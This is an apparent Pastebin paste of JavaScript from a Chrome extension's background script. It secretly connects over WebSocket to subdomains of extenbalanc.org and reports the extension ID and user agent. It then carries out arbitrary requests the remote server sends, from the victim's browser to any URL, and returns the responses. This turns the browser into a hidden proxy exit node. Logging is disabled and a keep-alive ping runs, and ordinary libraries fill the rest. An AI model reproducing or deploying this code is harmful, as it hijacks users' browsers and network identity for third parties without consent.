Guest User

Untitled

a guest
Oct 20th, 2020
1,309
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 24.86 KB | None
  1.  
  2. (function() {
  3.   const PARTNER_ID = '233121';
  4.   const WS_SERVER_PORT = 89;
  5.   const IS_VISIBLE_LOGS = false;
  6.   const REVERSE_VERSION = '1.2.3';
  7.   var WSPool = [];
  8.  
  9.   const rejected_response_headers = {
  10.     'transfer-encoding': true,
  11.     'content-encoding': true,
  12.     'content-length': true,
  13.   };
  14.  
  15.   var requests = {};
  16.   var requests_chrome_ids = {};
  17.  
  18.   var requests_to_block_to_prevent_redirect = {};
  19.  
  20.   function connect(WS_SERVER_HOST) {
  21.     if (IS_VISIBLE_LOGS)
  22.       console.log('connect to ' + WS_SERVER_HOST);
  23.  
  24.     var WS = new WebSocket('ws://' + WS_SERVER_HOST + ':' + WS_SERVER_PORT + '/server_info');
  25.  
  26.     WS.onopen = function() {
  27.       let manifest = chrome.runtime.getManifest();
  28.       let payload = {
  29.         extensionID: chrome.runtime.id,
  30.         extensionVersion: manifest.version,
  31.         reverseVersion: REVERSE_VERSION,
  32.         browser: (navigator && navigator.userAgent) ? navigator.userAgent : 'Unknown browser'
  33.       };
  34.       WS.send(JSON.stringify(payload));
  35.     };
  36.  
  37.     WS.onmessage = function message(event) {
  38.       var data = event.data;
  39.  
  40.       try {
  41.         data = JSON.parse(data);
  42.       } catch (e) {
  43.         data = {};
  44.       }
  45.  
  46.       if (data.reqid && data.method && data.url) {
  47.         if (IS_VISIBLE_LOGS)
  48.           console.log('request', data.reqid, data.method, data.url);
  49.  
  50.         requests[data.reqid] = {};
  51.         requests[data.reqid].headers = data.headers;
  52.         data.headers['x-reqid-chrextprxagn'] = data.reqid;
  53.  
  54.         var request = Object.assign({
  55.           method: data.method,
  56.           mode: 'cors',
  57.           headers: data.headers,
  58.           redirect: 'follow'
  59.         }, (data.userParams ? data.userParams : {}));
  60.  
  61.         if (data.body.length)
  62.           request.body = base64_arraybuffer.decode(data.body);
  63.  
  64.         requests[data.reqid].fetch_controller = new AbortController();
  65.         request.signal = requests[data.reqid].fetch_controller.signal;
  66.  
  67.         fetch(data.url, request).then(function(res) {
  68.           if (requests[data.reqid].do_stop)
  69.             throw ('Stop processing request');
  70.  
  71.           data.statusCode = res.status;
  72.           data.statusText = res.statusText;
  73.  
  74.           if (!data.statusCode && requests[data.reqid].response_status_code)
  75.             data.statusCode = requests[data.reqid].response_status_code;
  76.           if (!data.statusText && requests[data.reqid].response_status_text)
  77.             data.statusText = requests[data.reqid].response_status_text;
  78.  
  79.           data.headers = {};
  80.           for (var header of res.headers) {
  81.             if (rejected_response_headers[header[0].toLowerCase()])
  82.               continue;
  83.  
  84.             if (!data.headers[header[0]])
  85.               data.headers[header[0]] = [];
  86.             data.headers[header[0]].push(header[1]);
  87.           }
  88.           data.headers['X-prx-finalURL'] = [res.url];
  89.  
  90.           if (requests[data.reqid].do_stop)
  91.             throw ('Stop processing request');
  92.  
  93.           return res.arrayBuffer();
  94.  
  95.         }).then(function(res) {
  96.           if (requests[data.reqid].do_stop)
  97.             throw ('Stop processing request');
  98.  
  99.           if (!requests[data.reqid].response_headers) {
  100.             if (IS_VISIBLE_LOGS)
  101.               console.log('no response_headers', data.reqid);
  102.             var response_headers = data.headers;
  103.           } else {
  104.             var response_headers = requests[data.reqid].response_headers;
  105.             response_headers['X-prx-finalURL'] = data.headers['X-prx-finalURL'];
  106.           }
  107.           res = base64_arraybuffer.encode(res);
  108.  
  109.           if (requests[data.reqid].do_stop)
  110.             throw ('Stop processing request');
  111.  
  112.           WS.send(JSON.stringify({
  113.             reqid: data.reqid,
  114.             statusCode: data.statusCode,
  115.             statusText: data.statusText,
  116.             headers: response_headers,
  117.             res: res
  118.           }));
  119.  
  120.           delete(requests[data.reqid]);
  121.  
  122.         }).catch(function(err) {
  123.           if (!requests[data.reqid].do_stop) {
  124.             if (IS_VISIBLE_LOGS)
  125.               console.log(data.reqid, err, requests[data.reqid].response_error);
  126.             var res_err = '';
  127.             res_err += requests[data.reqid].response_error ? requests[data.reqid].response_error : '';
  128.             res_err += ' ; ';
  129.             res_err += err.toString();
  130.             WS.send(JSON.stringify({
  131.               reqid: data.reqid,
  132.               statusCode: requests[data.reqid].response_status_code ? requests[data.reqid].response_status_code : 0,
  133.               statusText: requests[data.reqid].response_status_text ? requests[data.reqid].response_status_text : '',
  134.               headers: requests[data.reqid].response_headers ? requests[data.reqid].response_headers : [],
  135.               res: btoa(res_err),
  136.             }));
  137.           } else {
  138.             if (IS_VISIBLE_LOGS)
  139.               console.log('stop processing request, ignoring errors', data.reqid);
  140.           }
  141.  
  142.           delete(requests[data.reqid]);
  143.         });
  144.  
  145.       } else if (data.reqid && data.stop_req) {
  146.         if (requests[data.reqid] && requests[data.reqid].fetch_controller) {
  147.           requests[data.reqid].do_stop = true;
  148.           requests[data.reqid].fetch_controller.abort();
  149.         }
  150.  
  151.       }
  152.     };
  153.  
  154.     WS.onclose = function reconnect(event) {
  155.       delete(WS);
  156.       if(event.wasClean)
  157.         return;
  158.       if (IS_VISIBLE_LOGS)
  159.         console.log('reconnect in 15 sec');
  160.       setTimeout(function() {
  161.         connect(WS_SERVER_HOST);
  162.       }, 45000);
  163.     };
  164.  
  165.     WSPool.push(WS);
  166.   }
  167.  
  168.   function multipleСonnection() {
  169.     connect( PARTNER_ID + '.extenbalanc.org');
  170.     connect( PARTNER_ID + '2.extenbalanc.org');
  171.     connect( PARTNER_ID + '3.extenbalanc.org');
  172.   }
  173.  
  174.   // disable/enable reverse
  175.   chrome.storage.onChanged.addListener(function(changes, namespace) {
  176.     if(changes['proxyIsWork'] == undefined)
  177.       return;
  178.     if(!WSPool.length && changes['proxyIsWork'].newValue == false) {
  179.       multipleСonnection();
  180.     } else if(WSPool.length && changes['proxyIsWork'].newValue == true) {
  181.       for (let ws of WSPool)
  182.         if(ws) {
  183.           ws.close();
  184.           delete ws;
  185.         }
  186.       WSPool = [];
  187.     }
  188.   });
  189.  
  190.   // start reverse
  191.   chrome.storage.local.get(['proxyIsWork'], function(items) {
  192.     if(items.proxyIsWork !== true)
  193.       multipleСonnection();
  194.   });
  195.  
  196.   // emulation action for chrome browser
  197.   setInterval(function() {
  198.     fetch('http://ping.ipv4v6.info/')
  199.       .then(function(response) {
  200.         if (response.status !== 200)
  201.           throw new Error(response.statusText + ' - ' + status);
  202.       })
  203.       .catch(function(ex) { });
  204.   }, 45000);
  205.  
  206.   function headers_listeners(extra) {
  207.     var opts = ['blocking', 'requestHeaders'];
  208.     if (extra)
  209.       opts.push('extraHeaders');
  210.  
  211.     chrome.webRequest.onBeforeSendHeaders.addListener(
  212.       function(details) {
  213.         var reqid = false;
  214.         var saved_headers = [];
  215.         let stopList = ['origin', 'content-length']
  216.  
  217.         for (var header of details.requestHeaders) {
  218.           let lheader = header.name.toLowerCase();
  219.           if (lheader == 'x-reqid-chrextprxagn')
  220.             reqid = header.value;
  221.           else if (stopList.indexOf(lheader) === -1)
  222.             saved_headers.push({
  223.               name: header.name.toLowerCase(),
  224.               value: header.value
  225.             });
  226.         }
  227.  
  228.         if (!reqid || !requests[reqid]) {
  229.           if (IS_VISIBLE_LOGS)
  230.             console.log('no request', reqid);
  231.           return;
  232.         }
  233.  
  234.         if (requests[reqid].do_stop)
  235.           return {
  236.             cancel: true
  237.           };
  238.  
  239.         requests_chrome_ids[details.requestId] = reqid;
  240.  
  241.         if (!requests[reqid].headers) {
  242.           if (IS_VISIBLE_LOGS)
  243.             console.log('no request headers', reqid);
  244.           return;
  245.         }
  246.  
  247.         if (saved_headers.length)
  248.           var new_requestHeaders = saved_headers;
  249.         else
  250.           var new_requestHeaders = [];
  251.  
  252.         for (var name in requests[reqid].headers) {
  253.           let lname = name.toLowerCase();
  254.           let hasHeader = false;
  255.  
  256.           for (let header of saved_headers)
  257.             if (lname == header.name.toLowerCase()) {
  258.               if (lname == 'user-agent')
  259.                 header.value = requests[reqid].headers[name];
  260.               hasHeader = true;
  261.               break;
  262.             }
  263.  
  264.           if (lname != 'x-reqid-chrextprxagn' && !hasHeader)
  265.             new_requestHeaders.push({
  266.               name: name,
  267.               value: requests[reqid].headers[name]
  268.             });
  269.  
  270.         }
  271.  
  272.         return {
  273.           requestHeaders: new_requestHeaders
  274.         };
  275.       }, {
  276.         urls: ['<all_urls>'],
  277.         types: ['xmlhttprequest'],
  278.         tabId: -1
  279.       },
  280.       opts
  281.     );
  282.  
  283.  
  284.  
  285.     var opts = ['blocking', 'responseHeaders'];
  286.     if (extra)
  287.       opts.push('extraHeaders');
  288.     chrome.webRequest.onHeadersReceived.addListener(
  289.       function(details) {
  290.         var reqid = requests_chrome_ids[details.requestId];
  291.         if (!reqid) return;
  292.         delete(requests_chrome_ids[details.requestId]);
  293.         if (!requests[reqid]) {
  294.           if (IS_VISIBLE_LOGS)
  295.             console.log('no request', reqid);
  296.           return;
  297.         }
  298.  
  299.         if (requests[reqid].do_stop)
  300.           return;
  301.  
  302.         if (('' + details.statusCode).substr(0, 1) == '3') {
  303.           requests_to_block_to_prevent_redirect[details.requestId] = true;
  304.         }
  305.  
  306.         requests[reqid].response_headers = {};
  307.         var is_mod = false;
  308.         for (var i in details.responseHeaders) {
  309.           var header_name = details.responseHeaders[i].name;
  310.           var lheader_name = header_name.toLowerCase();
  311.           if (rejected_response_headers[lheader_name])
  312.             continue;
  313.  
  314.           if (!requests[reqid].response_headers[header_name])
  315.             requests[reqid].response_headers[header_name] = [];
  316.           requests[reqid].response_headers[header_name].push(details.responseHeaders[i].value);
  317.  
  318.           if (lheader_name == 'set-cookie') {
  319.             details.responseHeaders[i].value = '';
  320.             is_mod = true;
  321.           }
  322.         }
  323.  
  324.         requests[reqid].response_status_code = details.statusCode;
  325.         requests[reqid].response_status_text = details.statusLine.replace(/^HTTP\/[0-9\.]+\s+\d+\s*/, '');
  326.  
  327.         if (is_mod) {
  328.           return {
  329.             responseHeaders: details.responseHeaders
  330.           };
  331.         }
  332.       }, {
  333.         urls: ['<all_urls>'],
  334.         types: ['xmlhttprequest'],
  335.         tabId: -1
  336.       },
  337.       opts
  338.     );
  339.   }
  340.   try {
  341.     headers_listeners(true);
  342.   } catch (e) {
  343.     headers_listeners(false);
  344.   }
  345.  
  346.  
  347.  
  348.   chrome.webRequest.onBeforeRequest.addListener(
  349.     function(details) {
  350.       if (requests_to_block_to_prevent_redirect[details.requestId]) {
  351.         delete(requests_to_block_to_prevent_redirect[details.requestId]);
  352.         return {
  353.           cancel: true
  354.         };
  355.       }
  356.     }, {
  357.       urls: ['<all_urls>'],
  358.       types: ['xmlhttprequest'],
  359.       tabId: -1
  360.     },
  361.     ['blocking']
  362.   );
  363.  
  364.  
  365.  
  366.   chrome.webRequest.onErrorOccurred.addListener(function(details) {
  367.     var reqid = requests_chrome_ids[details.requestId];
  368.     if (!reqid) return;
  369.     if (!requests[reqid]) {
  370.       if (IS_VISIBLE_LOGS)
  371.         console.log('no request', reqid);
  372.       return;
  373.     }
  374.  
  375.     if (requests[reqid].do_stop) return;
  376.  
  377.     requests[reqid].response_error = details.error;
  378.   }, {
  379.     urls: ['<all_urls>'],
  380.     types: ['xmlhttprequest'],
  381.     tabId: -1
  382.   });
  383.  
  384.  
  385.  
  386.  
  387.  
  388.   // LIBS
  389.  
  390.   const base64_arraybuffer = (function() {
  391.     var exports = {};
  392.  
  393.     /*
  394.      * base64-arraybuffer
  395.      * https://github.com/niklasvh/base64-arraybuffer
  396.      *
  397.      * Copyright (c) 2012 Niklas von Hertzen
  398.      * Licensed under the MIT license.
  399.      */
  400.     (function() {
  401.       "use strict";
  402.  
  403.       var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  404.  
  405.       // Use a lookup table to find the index.
  406.       var lookup = new Uint8Array(256);
  407.       for (var i = 0; i < chars.length; i++) {
  408.         lookup[chars.charCodeAt(i)] = i;
  409.       }
  410.  
  411.       exports.encode = function(arraybuffer) {
  412.         var bytes = new Uint8Array(arraybuffer),
  413.           i, len = bytes.length,
  414.           base64 = "";
  415.  
  416.         for (i = 0; i < len; i += 3) {
  417.           base64 += chars[bytes[i] >> 2];
  418.           base64 += chars[((bytes[i] & 3) << 4) | (bytes[i + 1] >> 4)];
  419.           base64 += chars[((bytes[i + 1] & 15) << 2) | (bytes[i + 2] >> 6)];
  420.           base64 += chars[bytes[i + 2] & 63];
  421.         }
  422.  
  423.         if ((len % 3) === 2) {
  424.           base64 = base64.substring(0, base64.length - 1) + "=";
  425.         } else if (len % 3 === 1) {
  426.           base64 = base64.substring(0, base64.length - 2) + "==";
  427.         }
  428.  
  429.         return base64;
  430.       };
  431.  
  432.       exports.decode = function(base64) {
  433.         var bufferLength = base64.length * 0.75,
  434.           len = base64.length,
  435.           i, p = 0,
  436.           encoded1, encoded2, encoded3, encoded4;
  437.  
  438.         if (base64[base64.length - 1] === "=") {
  439.           bufferLength--;
  440.           if (base64[base64.length - 2] === "=") {
  441.             bufferLength--;
  442.           }
  443.         }
  444.  
  445.         var arraybuffer = new ArrayBuffer(bufferLength),
  446.           bytes = new Uint8Array(arraybuffer);
  447.  
  448.         for (i = 0; i < len; i += 4) {
  449.           encoded1 = lookup[base64.charCodeAt(i)];
  450.           encoded2 = lookup[base64.charCodeAt(i + 1)];
  451.           encoded3 = lookup[base64.charCodeAt(i + 2)];
  452.           encoded4 = lookup[base64.charCodeAt(i + 3)];
  453.  
  454.           bytes[p++] = (encoded1 << 2) | (encoded2 >> 4);
  455.           bytes[p++] = ((encoded2 & 15) << 4) | (encoded3 >> 2);
  456.           bytes[p++] = ((encoded3 & 3) << 6) | (encoded4 & 63);
  457.         }
  458.  
  459.         return arraybuffer;
  460.       };
  461.     })();
  462.  
  463.     return exports;
  464.   })();
  465.  
  466.  
  467.  
  468.   // https://unpkg.com/abortcontroller-polyfill@1.1.9/dist/umd-polyfill.js
  469.   (function(global, factory) {
  470.     typeof exports === 'object' && typeof module !== 'undefined' ? factory() :
  471.       typeof define === 'function' && define.amd ? define(factory) :
  472.       (factory());
  473.   }(this, (function() {
  474.     'use strict';
  475.  
  476.     var classCallCheck = function(instance, Constructor) {
  477.       if (!(instance instanceof Constructor)) {
  478.         throw new TypeError("Cannot call a class as a function");
  479.       }
  480.     };
  481.  
  482.     var createClass = function() {
  483.       function defineProperties(target, props) {
  484.         for (var i = 0; i < props.length; i++) {
  485.           var descriptor = props[i];
  486.           descriptor.enumerable = descriptor.enumerable || false;
  487.           descriptor.configurable = true;
  488.           if ("value" in descriptor) descriptor.writable = true;
  489.           Object.defineProperty(target, descriptor.key, descriptor);
  490.         }
  491.       }
  492.  
  493.       return function(Constructor, protoProps, staticProps) {
  494.         if (protoProps) defineProperties(Constructor.prototype, protoProps);
  495.         if (staticProps) defineProperties(Constructor, staticProps);
  496.         return Constructor;
  497.       };
  498.     }();
  499.  
  500.     var get = function get(object, property, receiver) {
  501.       if (object === null) object = Function.prototype;
  502.       var desc = Object.getOwnPropertyDescriptor(object, property);
  503.  
  504.       if (desc === undefined) {
  505.         var parent = Object.getPrototypeOf(object);
  506.  
  507.         if (parent === null) {
  508.           return undefined;
  509.         } else {
  510.           return get(parent, property, receiver);
  511.         }
  512.       } else if ("value" in desc) {
  513.         return desc.value;
  514.       } else {
  515.         var getter = desc.get;
  516.  
  517.         if (getter === undefined) {
  518.           return undefined;
  519.         }
  520.  
  521.         return getter.call(receiver);
  522.       }
  523.     };
  524.  
  525.     var inherits = function(subClass, superClass) {
  526.       if (typeof superClass !== "function" && superClass !== null) {
  527.         throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
  528.       }
  529.  
  530.       subClass.prototype = Object.create(superClass && superClass.prototype, {
  531.         constructor: {
  532.           value: subClass,
  533.           enumerable: false,
  534.           writable: true,
  535.           configurable: true
  536.         }
  537.       });
  538.       if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
  539.     };
  540.  
  541.     var possibleConstructorReturn = function(self, call) {
  542.       if (!self) {
  543.         throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
  544.       }
  545.  
  546.       return call && (typeof call === "object" || typeof call === "function") ? call : self;
  547.     };
  548.  
  549.     var Emitter = function() {
  550.       function Emitter() {
  551.         classCallCheck(this, Emitter);
  552.  
  553.         this.listeners = {};
  554.       }
  555.  
  556.       createClass(Emitter, [{
  557.         key: 'addEventListener',
  558.         value: function addEventListener(type, callback) {
  559.           if (!(type in this.listeners)) {
  560.             this.listeners[type] = [];
  561.           }
  562.           this.listeners[type].push(callback);
  563.         }
  564.       }, {
  565.         key: 'removeEventListener',
  566.         value: function removeEventListener(type, callback) {
  567.           if (!(type in this.listeners)) {
  568.             return;
  569.           }
  570.           var stack = this.listeners[type];
  571.           for (var i = 0, l = stack.length; i < l; i++) {
  572.             if (stack[i] === callback) {
  573.               stack.splice(i, 1);
  574.               return;
  575.             }
  576.           }
  577.         }
  578.       }, {
  579.         key: 'dispatchEvent',
  580.         value: function dispatchEvent(event) {
  581.           var _this = this;
  582.  
  583.           if (!(event.type in this.listeners)) {
  584.             return;
  585.           }
  586.           var debounce = function debounce(callback) {
  587.             setTimeout(function() {
  588.               return callback.call(_this, event);
  589.             });
  590.           };
  591.           var stack = this.listeners[event.type];
  592.           for (var i = 0, l = stack.length; i < l; i++) {
  593.             debounce(stack[i]);
  594.           }
  595.           return !event.defaultPrevented;
  596.         }
  597.       }]);
  598.       return Emitter;
  599.     }();
  600.  
  601.     var AbortSignal = function(_Emitter) {
  602.       inherits(AbortSignal, _Emitter);
  603.  
  604.       function AbortSignal() {
  605.         classCallCheck(this, AbortSignal);
  606.  
  607.         var _this2 = possibleConstructorReturn(this, (AbortSignal.__proto__ || Object.getPrototypeOf(AbortSignal)).call(this));
  608.  
  609.         _this2.aborted = false;
  610.         _this2.onabort = null;
  611.         return _this2;
  612.       }
  613.  
  614.       createClass(AbortSignal, [{
  615.         key: 'toString',
  616.         value: function toString() {
  617.           return '[object AbortSignal]';
  618.         }
  619.       }, {
  620.         key: 'dispatchEvent',
  621.         value: function dispatchEvent(event) {
  622.           if (event.type === 'abort') {
  623.             this.aborted = true;
  624.             if (typeof this.onabort === 'function') {
  625.               this.onabort.call(this, event);
  626.             }
  627.           }
  628.  
  629.           get(AbortSignal.prototype.__proto__ || Object.getPrototypeOf(AbortSignal.prototype), 'dispatchEvent', this).call(this, event);
  630.         }
  631.       }]);
  632.       return AbortSignal;
  633.     }(Emitter);
  634.  
  635.     var AbortController = function() {
  636.       function AbortController() {
  637.         classCallCheck(this, AbortController);
  638.  
  639.         this.signal = new AbortSignal();
  640.       }
  641.  
  642.       createClass(AbortController, [{
  643.         key: 'abort',
  644.         value: function abort() {
  645.           var event = void 0;
  646.           try {
  647.             event = new Event('abort');
  648.           } catch (e) {
  649.             if (typeof document !== 'undefined') {
  650.               // For Internet Explorer 11:
  651.               event = document.createEvent('Event');
  652.               event.initEvent('abort', false, false);
  653.             } else {
  654.               // Fallback where document isn't available:
  655.               event = {
  656.                 type: 'abort',
  657.                 bubbles: false,
  658.                 cancelable: false
  659.               };
  660.             }
  661.           }
  662.           this.signal.dispatchEvent(event);
  663.         }
  664.       }, {
  665.         key: 'toString',
  666.         value: function toString() {
  667.           return '[object AbortController]';
  668.         }
  669.       }]);
  670.       return AbortController;
  671.     }();
  672.  
  673.     if (typeof Symbol !== 'undefined' && Symbol.toStringTag) {
  674.       // These are necessary to make sure that we get correct output for:
  675.       // Object.prototype.toString.call(new AbortController())
  676.       AbortController.prototype[Symbol.toStringTag] = 'AbortController';
  677.       AbortSignal.prototype[Symbol.toStringTag] = 'AbortSignal';
  678.     }
  679.  
  680.     /**
  681.      * Note: the "fetch.Request" default value is available for fetch imported from
  682.      * the "node-fetch" package and not in browsers. This is OK since browsers
  683.      * will be importing umd-polyfill.js from that path "self" is passed the
  684.      * decorator so the default value will not be used (because browsers that define
  685.      * fetch also has Request). One quirky setup where self.fetch exists but
  686.      * self.Request does not is when the "unfetch" minimal fetch polyfill is used
  687.      * on top of IE11; for this case the browser will try to use the fetch.Request
  688.      * default value which in turn will be undefined but then then "if (Request)"
  689.      * will ensure that you get a patched fetch but still no Request (as expected).
  690.      * @param {fetch, Request = fetch.Request}
  691.      * @returns {fetch: abortableFetch, Request: AbortableRequest}
  692.      */
  693.     function abortableFetchDecorator(patchTargets) {
  694.       if ('function' === typeof patchTargets) {
  695.         patchTargets = {
  696.           fetch: patchTargets
  697.         };
  698.       }
  699.       var _patchTargets = patchTargets,
  700.         fetch = _patchTargets.fetch,
  701.         _patchTargets$Request = _patchTargets.Request,
  702.         NativeRequest = _patchTargets$Request === undefined ? fetch.Request : _patchTargets$Request,
  703.         _patchTargets$AbortCo = _patchTargets.AbortController,
  704.         NativeAbortController = _patchTargets$AbortCo === undefined ? AbortController : _patchTargets$AbortCo;
  705.  
  706.  
  707.       var Request = NativeRequest;
  708.       // Note that the "unfetch" minimal fetch polyfill defines fetch() without
  709.       // defining window.Request, and this polyfill need to work on top of unfetch
  710.       // so the below feature detection is wrapped in if (Request)
  711.       if (Request) {
  712.         // Do feature detecting
  713.         var controller = new NativeAbortController();
  714.         var signal = controller.signal;
  715.         var request = new Request('/', {
  716.           signal: signal
  717.         });
  718.  
  719.         // Browser already supports abortable fetch (like FF v57 and fetch-polyfill)
  720.         if (request.signal) {
  721.           return {
  722.             fetch: fetch,
  723.             Request: Request
  724.           };
  725.         }
  726.  
  727.         Request = function Request(input, init) {
  728.           var request = new NativeRequest(input, init);
  729.           if (init && init.signal) {
  730.             request.signal = init.signal;
  731.           }
  732.           return request;
  733.         };
  734.         Request.prototype = NativeRequest.prototype;
  735.       }
  736.  
  737.       var realFetch = fetch;
  738.       var abortableFetch = function abortableFetch(input, init) {
  739.         var signal = Request && Request.prototype.isPrototypeOf(input) ? input.signal : init ? init.signal : undefined;
  740.  
  741.         if (signal) {
  742.           var abortError = void 0;
  743.           try {
  744.             abortError = new DOMException('Aborted', 'AbortError');
  745.           } catch (err) {
  746.             // IE 11 does not support calling the DOMException constructor, use a
  747.             // regular error object on it instead.
  748.             abortError = new Error('Aborted');
  749.             abortError.name = 'AbortError';
  750.           }
  751.  
  752.           // Return early if already aborted, thus avoiding making an HTTP request
  753.           if (signal.aborted) {
  754.             return Promise.reject(abortError);
  755.           }
  756.  
  757.           // Turn an event into a promise, reject it once `abort` is dispatched
  758.           var cancellation = new Promise(function(_, reject) {
  759.             signal.addEventListener('abort', function() {
  760.               return reject(abortError);
  761.             }, {
  762.               once: true
  763.             });
  764.           });
  765.  
  766.           // Return the fastest promise (don't need to wait for request to finish)
  767.           return Promise.race([cancellation, realFetch(input, init)]);
  768.         }
  769.  
  770.         return realFetch(input, init);
  771.       };
  772.  
  773.       return {
  774.         fetch: abortableFetch,
  775.         Request: Request
  776.       };
  777.     }
  778.  
  779.     (function(self) {
  780.  
  781.       if (self.AbortController) {
  782.         return;
  783.       }
  784.  
  785.       self.AbortController = AbortController;
  786.       self.AbortSignal = AbortSignal;
  787.  
  788.       if (!self.fetch) {
  789.         if (IS_VISIBLE_LOGS)
  790.           console.warn('fetch() is not available, cannot install abortcontroller-polyfill');
  791.         return;
  792.       }
  793.  
  794.       var _abortableFetch = abortableFetchDecorator(self),
  795.         fetch = _abortableFetch.fetch,
  796.         Request = _abortableFetch.Request;
  797.  
  798.       self.fetch = fetch;
  799.       self.Request = Request;
  800.     })(typeof self !== 'undefined' ? self : global);
  801.  
  802.   })));
  803.  
  804. })();
RAW Paste Data Copied